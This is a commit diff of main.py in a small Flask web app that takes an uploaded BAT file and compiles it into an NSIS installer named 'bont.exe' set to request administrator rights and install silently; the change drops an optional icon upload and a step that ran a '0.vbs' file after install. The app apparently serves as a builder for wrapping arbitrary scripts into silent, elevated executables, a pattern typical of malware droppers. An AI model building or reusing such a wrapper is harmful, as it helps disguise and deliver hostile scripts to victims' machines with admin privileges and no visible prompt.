sigyllly commited on
Commit
68b5255
·
verified ·
1 Parent(s): ba94f86

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +7 -21
main.py CHANGED
@@ -20,8 +20,6 @@ HTML_TEMPLATE = """
20
  <form action="/upload" method="post" enctype="multipart/form-data">
21
  <label for="bat_file">Upload BAT file:</label>
22
  <input type="file" name="bat_file" required><br><br>
23
- <label for="icon_file">Upload ICO file (optional):</label>
24
- <input type="file" name="icon_file"><br><br>
25
  <input type="submit" value="Upload and Compile">
26
  </form>
27
  </body>
@@ -35,28 +33,21 @@ def index():
35
  @app.route('/upload', methods=['POST'])
36
  def upload_files():
37
  if 'bat_file' not in request.files:
38
- return "No BAT file part", 400
39
 
40
  bat_file = request.files['bat_file']
 
41
  if bat_file.filename == '':
42
- return "No selected BAT file", 400
43
 
44
- # Define the paths to save the uploaded files
45
  bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename)
46
 
47
- # Save the uploaded BAT file
48
  bat_file.save(bat_path)
49
 
50
- # Check if an icon file was uploaded, and set the icon path accordingly
51
- icon_path = ""
52
- if 'icon_file' in request.files and request.files['icon_file'].filename != '':
53
- icon_file = request.files['icon_file']
54
- icon_path = os.path.join(app.config['UPLOAD_FOLDER'], icon_file.filename)
55
- icon_file.save(icon_path)
56
-
57
- # Construct the NSIS script using the provided paths
58
  nsi_script = f"""!include "MUI2.nsh"
59
- !include "nsDialogs.nsh"
60
 
61
  # Define installer name and version
62
  Outfile "bont.exe"
@@ -70,8 +61,7 @@ VIProductVersion "1.4.44.3"
70
  # Set the output directory and the base name of the installer file
71
  SetCompressor /SOLID lzma
72
 
73
- # Set icon only if an icon file was provided
74
- {"Icon \"" + icon_path + "\"\n" if icon_path else ""}RequestExecutionLevel admin
75
 
76
  # Silent install settings
77
  SilentInstall silent
@@ -93,10 +83,6 @@ Section "Install"
93
  # Files to install
94
  File "{bat_path}"
95
 
96
- # Run the VBS file post-install if it exists
97
- IfFileExists "$INSTDIR\\0.vbs" 0 +2
98
- ExecShell "" "$INSTDIR\\0.vbs"
99
-
100
  SectionEnd
101
  """
102
 
 
20
  <form action="/upload" method="post" enctype="multipart/form-data">
21
  <label for="bat_file">Upload BAT file:</label>
22
  <input type="file" name="bat_file" required><br><br>
 
 
23
  <input type="submit" value="Upload and Compile">
24
  </form>
25
  </body>
 
33
  @app.route('/upload', methods=['POST'])
34
  def upload_files():
35
  if 'bat_file' not in request.files:
36
+ return "No file part", 400
37
 
38
  bat_file = request.files['bat_file']
39
+
40
  if bat_file.filename == '':
41
+ return "No selected file", 400
42
 
43
+ # Define the path to save the uploaded file
44
  bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename)
45
 
46
+ # Save the uploaded file
47
  bat_file.save(bat_path)
48
 
49
+ # Construct the NSIS script using the provided path
 
 
 
 
 
 
 
50
  nsi_script = f"""!include "MUI2.nsh"
 
51
 
52
  # Define installer name and version
53
  Outfile "bont.exe"
 
61
  # Set the output directory and the base name of the installer file
62
  SetCompressor /SOLID lzma
63
 
64
+ RequestExecutionLevel admin
 
65
 
66
  # Silent install settings
67
  SilentInstall silent
 
83
  # Files to install
84
  File "{bat_path}"
85
 
 
 
 
 
86
  SectionEnd
87
  """
88